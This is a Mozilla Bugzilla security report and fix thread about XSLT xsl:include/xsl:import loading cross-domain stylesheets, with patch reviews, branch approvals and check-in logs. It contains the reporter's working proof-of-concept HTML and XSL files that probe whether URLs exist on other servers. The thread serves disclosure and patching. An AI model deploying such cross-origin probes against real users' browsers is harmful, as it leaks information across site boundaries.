Closed Bug 271209 Opened 20 years ago Closed 20 years ago

xsl:include and xsl:import allow at least checking for existance of documents on arbitrary servers

Categories

(Core :: XSLT, defect, P1)

Product:
Core
Component:
XSLT
Platform:
x86
Linux
Type:
defect

Tracking

()

Status:
VERIFIED FIXED

People

(Reporter: guninski, Assigned: peterv)

References

Details

(Keywords: fixed-aviary1.0.1, fixed1.4.5, fixed1.7.6, Whiteboard: [sg:fix] fixed on trunk)

Attachments

(3 files, 3 obsolete files)

v1.1
16.25 KB, patch
peterv
: review+
jst
: superreview+
dveditz
: approval-aviary1.0.1-
dveditz
: approval1.7.6-
Details | Diff | Splinter Review
v1.1 (branch)
15.35 KB, patch
jst
: review+
jst
: superreview+
mkaply
: approval-aviary1.0.1+
mkaply
: approval1.7.6+
Details | Diff | Splinter Review
patch for 1.4 branch
20.31 KB, patch
jst
: review+
jst
: superreview+
Details | Diff | Splinter Review 
User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0
Build Identifier: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0

xsl:include and xsl:import import stylesheets from arbitrary domains (and
probably from local fs).
this allows at least checking for documents. it may be possible to read xml
files, not sure.

testcase - open xsl1.html
--------------xsl1.html--------
<html>
	<script>
		function vv() 
		{
			v1=a.document.firstChild;
			alert(v1.textContent);
		}
		a=window.open("/xslinc.xml");
		setTimeout("vv()",8000);
	</script>
	<h1>Copyright Georgi Guninski. Cannot be used in vulnerability databases
	</h1>	
</html>
-------------------------------

-----xslinc.xml----------------
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#"?>
<!-- Copyright Georgi Guninski. Cannot be used in vulnerability databases -->

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
	<xsl:include href="http://www.mozilla.org/" />
	<xsl:include href="http://www.mozilla.org/404-404" />
 <xsl:template match="/">
 </xsl:template>
</xsl:stylesheet>
-------------------------------




Reproducible: Always
Steps to Reproduce:
Ew. I'm pretty sure we used to block this.
txStylesheetCompilerState::loadIncludedStylesheet calls txCompileObserver::loadURI
which calls txCompileObserver::startLoad with aCallerPrincipal as nsnull and so
we don't do
http://lxr.mozilla.org/seamonkey/source/extensions/transformiix/source/xslt/txMozillaStylesheetCompiler.cpp#503.
We can get to the stylesheet through mProcessor and we have a loadgroup.

Sicking, any ideas?
Status: UNCONFIRMED → NEW
Ever confirmed: true
Priority: -- → P1
i have tried this attack in the past and it didn't work for sure.

either because of (1) security exception or (2) because include and import were
not implemented in xsl
We've supported both xsl:include and xsl:import for as long as I can remember so
what's probably happened here is that we lost the security check. Probably when
we implemented compiled stylesheets.

IMHO the security check should happen in loadURI. Note that we have two
implementations of this function:
txSyncCompileObserver::loadURI
txCompileObserver::loadURI
Both these seem to lack the security check.

(well, there's also standalone, but we don't need security checks there).

It seems like we're using the principal of the source document for the initial
load, would it be ok to do that for the rest too? In that case maybe we can set
that principal in the txCompileObserver when we kick off the initial load and
then always use that (i.e. remove the aPrincipal argument to startLoad).

For txSyncCompileObserver we should be able to do something similar.
dveditz, this is somewhat security related.

Peter: do you think you'd be able to take care of this one? I've got too much
with the thesis to set up a moz environment and start hacking right now.
Yeah, I' will try to get to it this weekend.
Flags: blocking1.8a6?
Flags: blocking1.7.5?
Status: NEW → ASSIGNED
Attached patch v1 (obsolete) — — Splinter Review 

    
  

        Attachment #168371 -
        Flags: review?(bugmail)

    
    

    
  
Why not keep the security check in startLoad rather the duplicating it twice?

    
    

    
  

      
      
      
      

        Attached patch
          
          
        v1.1 (obsolete)
        — 
          — Splinter Review
      

    


  
The callers of startLoad have different arguments for the security check. I
looked at putting the check back in startLoad, but that gave a lot more if's,
so I prefer this one.

        Attachment #168371 -
        Attachment is obsolete: true

        Attachment #168646 -
        Flags: review?(bugmail)

    
  

        Attachment #168371 -
        Flags: review?(bugmail)

    
    

    
  
1.7.5 has shipped. Moving request to 1.7.6.
Flags: blocking1.7.5? → blocking1.7.6?

    
    

    
  
hrm, would have been nice if this had at least been marked blocking- so we would
have had a chance to argue for it. This bug is almost as bad as the
XMLHttpRequest bug that made headlines a while back and allows people to
download xml data from any url.

    
    

    
  
Comment on attachment 168646 [details] [diff] [review]
v1.1

+    channel->SetContentType(NS_LITERAL_CSTRING("text/xml"));

Is this a "suggestive" contenttype or does it force the result to be treated as
text/xml?



 nsresult
 txCompileObserver::loadURI(const nsAString& aUri,
+			    const nsAString& aReferrerUri,
			    txStylesheetCompiler* aCompiler)
 {
     nsCOMPtr<nsIURI> uri;
     nsresult rv = NS_NewURI(getter_AddRefs(uri), aUri);
     NS_ENSURE_SUCCESS(rv, rv);

+    nsCOMPtr<nsIURI> referrerUri;
+    rv = NS_NewURI(getter_AddRefs(referrerUri), aReferrerUri);
+    NS_ENSURE_SUCCESS(rv, rv);
+
+    // Do security check.
+    rv = CheckLoadURI(uri, referrerUri, nsnull, nsnull);
+    NS_ENSURE_SUCCESS(rv, rv);
+
     return startLoad(uri, aCompiler, referrerUri);
 }

uhm, that's weird. In lxr the startLoad line looks differently. Why doesn't it
show up as changed in the patch?


@@ -462,7 +463,8 @@ txStylesheetCompiler::loadURI(const nsAS
     if (mURI.Equals(aUri)) {
	 return NS_ERROR_XSLT_LOAD_RECURSION;
     }
-    return mObserver ? mObserver->loadURI(aUri, aCompiler) : NS_ERROR_FAILURE;
+    return mObserver ? mObserver->loadURI(aUri, mURI, aCompiler) :
+			NS_ERROR_FAILURE;

Shouldn't this be |aReferrerUri| rather then |mURI|? The loadURI call is
forwarded up through child-compilers, but it should be the initial referrer
that is the one that actually made the request.

r=me with that

        Attachment #168646 -
        Flags: review?(bugmail) → review+

    
    

    
  
(In reply to comment #12)
> (From update of attachment 168646 [details] [diff] [review] [edit])
> +    channel->SetContentType(NS_LITERAL_CSTRING("text/xml"));
> 
> Is this a "suggestive" contenttype or does it force the result to be treated as
> text/xml?

Ignore that, it's for another bug.

> uhm, that's weird. In lxr the startLoad line looks differently. Why doesn't it
> show up as changed in the patch?

I have no idea how that happened and I can't reproduce it. Re-diffing made the
line show up as changed. Very weird.

> @@ -462,7 +463,8 @@ txStylesheetCompiler::loadURI(const nsAS
>      if (mURI.Equals(aUri)) {
> 	 return NS_ERROR_XSLT_LOAD_RECURSION;
>      }
> -    return mObserver ? mObserver->loadURI(aUri, aCompiler) : NS_ERROR_FAILURE;
> +    return mObserver ? mObserver->loadURI(aUri, mURI, aCompiler) :
> +			NS_ERROR_FAILURE;
> 
> Shouldn't this be |aReferrerUri| rather then |mURI|? The loadURI call is
> forwarded up through child-compilers, but it should be the initial referrer
> that is the one that actually made the request.

Yeah, but only for the mObserver->loadURI call, not for the logging or for the
recursion check, right?

    
    

    
  

      
      
      
      

        Attached patch
          
          
        v1.1
        — 
          — Splinter Review
      

    


  
Marking r=sicking.

        Attachment #168646 -
        Attachment is obsolete: true

        Attachment #169209 -
        Flags: superreview?

        Attachment #169209 -
        Flags: review+

    
  

        Attachment #169209 -
        Flags: superreview? → superreview?(jst)

    
    

    
  
Comment on attachment 169209 [details] [diff] [review]
v1.1

sr=jst

        Attachment #169209 -
        Flags: superreview?(jst) → superreview+

    
    

    
  
Comment on attachment 169209 [details] [diff] [review]
v1.1

Bug fix for a security hole that allows at least checking for the existance of
files on arbitrary servers. The fix is fairly low risk, XSLT is not very widely
used, and it just extends a security check to some other codepaths.

        Attachment #169209 -
        Flags: approval1.7.6?

        Attachment #169209 -
        Flags: approval-aviary1.0.1?

    
    

    
  
Checked in on trunk, leaving open for branches.

    
  
Flags: blocking1.8a6?

    
  
Blocks: 248511

    
  
Blocks: sg-ff101
Blocks: sg-moz176
Whiteboard: [sg:fix] fixed on trunk

    
    

    
  
We need a version of this patch that doesn't affect translation. Perhaps
specialcasing the error code in the loading of the properties files that if
loading error 27 fails, it hardcodes the english?

    
    

    
  
peter, can you put the patch together?


    
    

    
  
Yes, I'll try to do it tomorrow.
Flags: blocking-aviary1.0.1?
Flags: blocking1.7.6?
Flags: blocking1.7.6+
Flags: blocking-aviary1.0.1?
Flags: blocking-aviary1.0.1+

    
    

    
  
Comment on attachment 169209 [details] [diff] [review]
v1.1

Drivers want this fix, but for the branches we need one that doesn't require
the localized string to exist (eg, hardcoded backup string)

        Attachment #169209 -
        Flags: approval1.7.6?

        Attachment #169209 -
        Flags: approval1.7.6-

        Attachment #169209 -
        Flags: approval-aviary1.0.1?

        Attachment #169209 -
        Flags: approval-aviary1.0.1-

    
    

    
  

      
      
      
      

        Attached patch
          
          
        v1.1 (branch) (obsolete)
        — 
          — Splinter Review
      

    


  

    
    

    
  
I'll ask for a new sr and approvals tomorrow. Need to get some sleep first and
reread it with a clear head.

    
    

    
  

      
      
      
      

        Attached patch
          
          
        v1.1 (branch)
        — 
          — Splinter Review
      

    


  
Ported to the branch, which doesn't have the content policy changes. Note that
I did add the string in the properties file allowing translation of the string,
but I added fallback if the stringbundle entry is missing.

        Attachment #173309 -
        Attachment is obsolete: true

        Attachment #173390 -
        Flags: superreview?(jst)

    
    

    
  
Comment on attachment 173390 [details] [diff] [review]
v1.1 (branch)

r+sr=jst

        Attachment #173390 -
        Flags: superreview?(jst)

        Attachment #173390 -
        Flags: superreview+

        Attachment #173390 -
        Flags: review+

    
  

        Attachment #173390 -
        Flags: approval1.7.6?

        Attachment #173390 -
        Flags: approval-aviary1.0.1?

    
    

    
  
Comment on attachment 173390 [details] [diff] [review]
v1.1 (branch)

a=mkaply - make sure to put this on the 1.0.1 branch and not the AVIARY branch.

        Attachment #173390 -
        Flags: approval1.7.6?

        Attachment #173390 -
        Flags: approval1.7.6+

        Attachment #173390 -
        Flags: approval-aviary1.0.1?

        Attachment #173390 -
        Flags: approval-aviary1.0.1+

    
  
Status: ASSIGNED → RESOLVED
Closed: 20 years ago
Keywords: fixed-aviary1.0.1, 
          
            fixed1.7.6
Resolution: --- → FIXED

    
    

    
  
Verified Fixed.  Testcase now results in content bring blocked with error:
"Error loading stylesheet: An XSLT stylesheet load was blocked for security
reasons."

Aviary 1.0.1 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)
Gecko/20050217 Firefox/1.0

Mozilla 1.7.6 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050217

Trunk/M18b1 also look ok (still a problem in Firefox 1.0 as expected)

Status: RESOLVED → VERIFIED
Group: security

    
    

    
  
hello, all : simple comment that i think one should state here :

this 'bug' is actually a feature in xsl (dangerous of course, but convenient)
and it is actively used by many legitimate apps as a simple way to retrieve
database content directly from a webbrowser window, when u don't really need sql

exploitation is rather trivial when you know where the pages are located and the
browser accepts client-side scripting (espetially if the 'file' protocol is to
be allowed) but browsing is quite unrealistic.
as the same problem exists in regular html and various script languages (in
which case browsing IS possible) and is commonly fought using a setting such as
"allow cross-domain references" or similar, may i suggest that this setting
apply for such cases as well.

it might then be a reasonable thought that xml will some day include an informal
header tag stating where the page could be loaded from (maybe it already does ?)
in which case the browser will silently accept the cross-domain referal. ( does
the parser look at the headers before it actually parses the tree ? )

i'll have a snip in the code, but probably will not be able to submit a patch
before long or at all because i still lack the programming skills... yet i think
it should be mentioned here...

btw, firefox is GREAT, thanks to you, guys !

    
    

    
  


  

        Attachment #187758 -
        Flags: superreview?(jst)

        Attachment #187758 -
        Flags: review?(jst)

    
    

    
  
Comment on attachment 187758 [details] [diff] [review]
patch for 1.4 branch

r+sr=jst

        Attachment #187758 -
        Flags: superreview?(jst)

        Attachment #187758 -
        Flags: superreview+

        Attachment #187758 -
        Flags: review?(jst)

        Attachment #187758 -
        Flags: review+

    
    

    
  
Checking in resources/xslt.properties;
/cvsroot/mozilla/extensions/transformiix/resources/Attic/xslt.properties,v  <--
 xslt.properties
new revision: 1.3.2.1; previous revision: 1.3
done
Checking in source/base/txError.h;
/cvsroot/mozilla/extensions/transformiix/source/base/txError.h,v  <-- 
txError.hnew revision: 1.8.2.1; previous revision: 1.8
done
Checking in source/xslt/txMozillaStylesheetCompiler.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaStylesheetCompiler.cpp,v
 <--  txMozillaStylesheetCompiler.cpp
new revision: 1.5.4.1; previous revision: 1.5
done
Checking in source/xslt/txMozillaXSLTProcessor.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaXSLTProcessor.cpp,v
 <--  txMozillaXSLTProcessor.cpp
new revision: 1.16.2.2; previous revision: 1.16.2.1
done
Checking in source/xslt/txMozillaXSLTProcessor.h;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaXSLTProcessor.h,v
 <--  txMozillaXSLTProcessor.h
new revision: 1.8.2.1; previous revision: 1.8
done
Checking in source/xslt/txStandaloneStylesheetCompiler.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txStandaloneStylesheetCompiler.cpp,v
 <--  txStandaloneStylesheetCompiler.cpp
new revision: 1.6.2.1; previous revision: 1.6
done
Checking in source/xslt/txStylesheetCompiler.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txStylesheetCompiler.cpp,v
 <--  txStylesheetCompiler.cpp
new revision: 1.6.2.1; previous revision: 1.6
done
Checking in source/xslt/txStylesheetCompiler.h;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txStylesheetCompiler.h,v 
<--  txStylesheetCompiler.h
new revision: 1.7.2.1; previous revision: 1.7
done
Keywords: fixed1.4.5

          You need to log in
          before you can comment on or make changes to this bug.
        






  

    
  







  

    

      
Attachment

      

      
      
      
      
    

    

      

        

          

            
General

            

              Creator: 



            

            
Created: 

            
Updated: 

            
Size: